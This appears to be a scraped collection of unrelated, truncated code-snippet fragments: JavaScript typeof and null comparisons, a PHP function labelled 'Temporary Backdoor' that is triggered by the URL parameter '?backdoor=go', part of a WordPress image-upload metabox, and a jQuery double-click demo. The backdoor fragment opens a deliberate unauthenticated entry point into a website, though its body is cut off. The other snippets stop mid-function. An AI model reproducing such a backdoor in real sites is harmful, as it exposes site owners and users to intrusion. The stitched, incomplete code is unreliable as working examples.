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| const object = { "🔑key🔑": "💸value💸" } | |
| console.log(typeof object) // "object" | |
| console.log(object !== null) // true | |
| console.log(object != null) // true | |
| console.log(typeof null) // "object" | |
| console.log(null !== null) // false | |
| console.log(null != null) // false | |
| console.log(typeof undefined) // "undefined" |
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| /** | |
| * | |
| * Temporary Backdoor | |
| * | |
| */ | |
| //Your website’s backdoor is: mywebsite.com/?backdoor=go | |
| function holeinthewall() { | |
| if ($_GET['backdoor'] == 'go') { |
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| <?php | |
| function upload_image_metabox() { | |
| echo '<p><strong>Upload image</strong></p>'; | |
| echo '<input type="text" id="child_logo_url" name="' . $this->get_field_name( 'welcome-image' ) . '" value="' . esc_attr( $this->get_field_value( 'welcome-image' ) ) . '" size="50" />'; | |
| echo '<input id="child_upload_logo_button" type="button" class="button" value="Upload Image" /> '; | |
| ?> | |
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| Code | |
| $("button").single_double_click(function () { | |
| alert("Try double-clicking me!") | |
| }, function () { | |
| alert("Double click detected, I'm hiding") | |
| $(this).hide() | |
| }) | |